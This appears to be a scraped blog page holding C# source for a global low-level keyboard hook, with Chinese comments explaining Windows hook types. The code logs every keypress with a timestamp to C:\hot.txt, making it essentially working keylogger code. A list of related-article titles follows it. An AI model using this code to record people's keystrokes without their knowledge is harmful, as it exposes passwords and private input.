using System;

using System.Diagnostics;

using System.IO;

using System.Runtime.InteropServices;

using System.Windows.Forms;

namespace WindowsFormsApplication1

{

///

/// 获取键盘按键

///

public class InterceptKeys

{

private const int WH_KEYBOARD_LL = 13; //全局键盘钩子

private const int WM_KEYDOWN = 0x0100; //键盘按下

//private const int WM_KEYUP = 0x0101; //键盘抬起

private static LowLevelKeyboardProc _proc = HookCallback;

private static IntPtr _hookID = IntPtr.Zero;

#region 调用API

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

///

/// 安装钩子

///

/// 钩子类型

/// 函数指针

/// 包含钩子函数的模块(EXE、DLL)句柄; 一般是 HInstance; 如果是当前线程这里可以是 0

/// 关联的线程; 可用 GetCurrentThreadId 获取当前线程; 0 表示是系统级钩子

/// 返回钩子的句柄; 0 表示失败

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

//钩子类型 idHook 选项:

//WH_MSGFILTER       = -1; {线程级; 截获用户与控件交互的消息}

//WH_JOURNALRECORD   = 0;  {系统级; 记录所有消息队列从消息队列送出的输入消息, 在消息从队列中清除时发生; 可用于宏记录}

//WH_JOURNALPLAYBACK = 1;  {系统级; 回放由 WH_JOURNALRECORD 记录的消息, 也就是将这些消息重新送入消息队列}

//WH_KEYBOARD        = 2;  {系统级或线程级; 截获键盘消息}

//WH_GETMESSAGE      = 3;  {系统级或线程级; 截获从消息队列送出的消息}

//WH_CALLWNDPROC     = 4;  {系统级或线程级; 截获发送到目标窗口的消息, 在 SendMessage 调用时发生}

//WH_CBT             = 5;  {系统级或线程级; 截获系统基本消息, 譬如: 窗口的创建、激活、关闭、最大最小化、移动等等}

//WH_SYSMSGFILTER    = 6;  {系统级; 截获系统范围内用户与控件交互的消息}

//WH_MOUSE           = 7;  {系统级或线程级; 截获鼠标消息}

//WH_HARDWARE        = 8;  {系统级或线程级; 截获非标准硬件(非鼠标、键盘)的消息}

//WH_DEBUG           = 9;  {系统级或线程级; 在其他钩子调用前调用, 用于调试钩子}

//WH_SHELL           = 10; {系统级或线程级; 截获发向外壳应用程序的消息}

//WH_FOREGROUNDIDLE  = 11; {系统级或线程级; 在程序前台线程空闲时调用}

//WH_CALLWNDPROCRET  = 12; {系统级或线程级; 截获目标窗口处理完毕的消息, 在 SendMessage 调用后发生}

//WH_KEYBOARD_LL     = 13; {系统级; 截获低级键盘消息}

//WH_MOUSE_LL        = 14; {系统级; 截获低级鼠标消息}

///

/// 卸载钩子

///

/// 钩子的句柄

///

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

[return: MarshalAs(UnmanagedType.Bool)]

private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

private static extern IntPtr GetModuleHandle(string lpModuleName);

#endregion

///

/// 安装钩子

///

public static void SetHook()

{

using (Process curProcess = Process.GetCurrentProcess())

using (ProcessModule curModule = curProcess.MainModule)

{

_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);

}

}

///

/// 处理函数

///

///

///

///

///

/// 如果返回1,则结束消息,这个消息到此为止,不再传递;

/// 如果返回0或调用CallNextHookEx函数则消息出了这个钩子继续往下传递,也就是传给消息真正的接受者;

///

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

{

//键盘按下时

if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

{

int vkCode = Marshal.ReadInt32(lParam);

Keys key = (Keys)vkCode;

//记录到日志

File.AppendAllText(@"C:\hot.txt", DateTime.Now.ToString("HH:mm:ss") + ": " + key.ToString() + "\r\n");

}

return CallNextHookEx(_hookID, nCode, wParam, lParam);

}

///

/// 卸载钩子

///

public static void UnHook()

{

if (_hookID != IntPtr.Zero)

{

UnhookWindowsHookEx(_hookID);

}

}

}

}

vs2019键盘钩子_C#键盘按键监视相关推荐

  1. 利用底层键盘钩子屏蔽任意按键

    很多人都知道,如果想在系统范围内屏蔽键盘上的任意按键需要使用全局键盘钩子,然而像win键这样"倔强"的按键又不是普通的键盘钩子就能搞定的.这里我提供一种利用底层键盘钩子屏蔽任意按键 ...

  2. vs2019键盘钩子_键盘钩子WH_KEYBOARD和WH_KEYBOARD_LL

    WH_KEYBOARD和WH_KEYBOARD_LL,这两个都是键盘钩子 区别: 1.MSDN上面说的是WH_KEYBOARD会在应用程序调用GetMessage 或者 PeekMessage函数并且 ...

  3. C++编写Windows全局键盘钩子记录键盘输入

    1.键盘钩子处理程序 HookProc 2.键盘钩子安装程序 InstallHook 3.键盘钩子卸载程序 UnInstallHook 4.键盘钩子dll的加载,安装与释放 生成标准windows d ...

  4. 如何让你的程序避开全局键盘钩子的监视

    原文地址:http://blog.okbase.net/BlueSky/archive/3839.html 一直以来有个疑问,就是如果别人在你的电脑上安装了键盘钩子来监视你的键盘按键动作,我的程序怎么 ...

  5. 利用底层键盘钩子拦载任意按键(回调版)

    前段时间我曾经写过一篇<利用底层键盘钩子屏蔽任意按键>,并放到了我的blog上.这篇文章的题目中把"屏蔽"改成了"拦截",显然要比以前的版本强一些了 ...

  6. 要如何禁止键盘钩子?

    要如何禁止键盘钩子? Delphi / Windows SDK/API http://www.delphi2007.net/DelphiAPI/html/delphi_2006112612072216 ...

  7. VC/MFC 键盘钩子,代码片断

    在MFC程序中使用键盘钩子来获取按键消息,例程: #include "StdAfx.h" #include "KeyboardHook.h" static HH ...

  8. 我的全局键盘钩子(KeyBoardHook)

    1,钩子操作类 public class KeyPressSender{[StructLayout(LayoutKind.Sequential)]public class KeyBoardHookSt ...

  9. 自己写一个键盘钩子程序来监视键盘输入

    "钩子是Windows的消息监视点,应用程序可以在这里安装一个监视子程序,这样就可以在系统中的消息流到达目的窗口过程前监控它们" 上面就是WIN32API手册中对钩子的描述.大概就 ...

最新文章

  1. UIPickerView和UIDataPicker
  2. OpenFace学习(2):FaceNet+SVM匹配人脸
  3. Windows消息:WM_USER与WM_APP的区别
  4. 【学术相关】魔术乘法:张成奇教授40年磨一剑!
  5. 机器学习与数学分析(二)
  6. java空间租用_java影片租赁平台
  7. 揭秘数据技术的前世今生,Techo TVP 开发者大会来了!
  8. Linux下安装配置Nexus
  9. 配置syslog发送_Citrix ADC Syslog配置推荐
  10. 外媒:特斯拉正寻求扩大在华法律事务和对外关系员工队伍
  11. Post传值时间特殊字符处理比如 p/p当作参数传递到后台
  12. Leetcode376.摆动序列
  13. 'mysql' 不是内部或外部命令,也不是可运行的程序或批处理文件的解决办法
  14. 数据中心行业深度报告:从财务分析看IDC行业的投资价值
  15. openlayers中绘制态势箭头、进击箭头、钳击箭头等
  16. javaScript打气球小游戏
  17. 微信公众号开发—入门系列(一)
  18. 【项目管理】【SVN】TortoiseSVN清理历史访问记录
  19. iPhone13充电宝哪个牌子好?iPhone13无线充电宝推荐
  20. Neo4j入门之中国电影票房排行浅析

热门文章

  1. EBS通过SQL查找所有的定时请求
  2. C# Math.Round中国式的四舍五入法
  3. java的循环中try catch的一点小技巧
  4. CentOS5.6配置salt节点minion
  5. 使用RHEL5做NTP服务器出错解决
  6. IT PRO的职业生涯
  7. laravel中Request、Session、Response、Middelware
  8. SD-WAN将成为物联网部署中的骨干网—Vecloud
  9. 如何防御潜在的破坏性DDoS攻击—Vecloud微云
  10. Linux环境下虚拟环境virtualenv安装和使用(转)